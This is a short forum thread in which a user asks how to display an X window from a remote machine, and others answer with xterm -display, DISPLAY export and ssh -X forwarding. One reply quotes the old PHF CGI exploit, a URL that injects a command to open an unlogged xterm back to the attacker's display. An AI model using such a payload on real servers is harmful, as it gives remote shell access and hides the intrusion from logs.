Sign in to follow this  
Followers 0
screamer

X question

5 posts in this topic

Kills me to ask a question like this, but I've set up a network and want to open an x window on a remote machine (similar to the X11 security hole where you can connect to someone else's machine if they dont use xhost to block access). Problem is, I can't figure out what the damn command is! I've gone through the man pages on X, xdm, xconsole, etc, and can't find anything. Any help would be appreciated.

Share this post


Link to post
Share on other sites

ssh into your box, and then send an Xterm to yourself.

/usr/X11R6/bin/xterm -ut -display your IP:0.0

as in the old PHF exploit /cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20-display%20your_ip:0.0

the -ut means that activity will not be logged, and you will have an xterm with a window of 0 and screen ID of 0

Share this post


Link to post
Share on other sites

Well, if you want any windows to come up remotely just do export DISPLAY=your.host.com:0.0 and now any x based app will come up on your remote machien.

Share this post


Link to post
Share on other sites

You can also tunnel it through ssh if you're so inclined

I think it's 'ssh -X <host>'....would have to check though.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0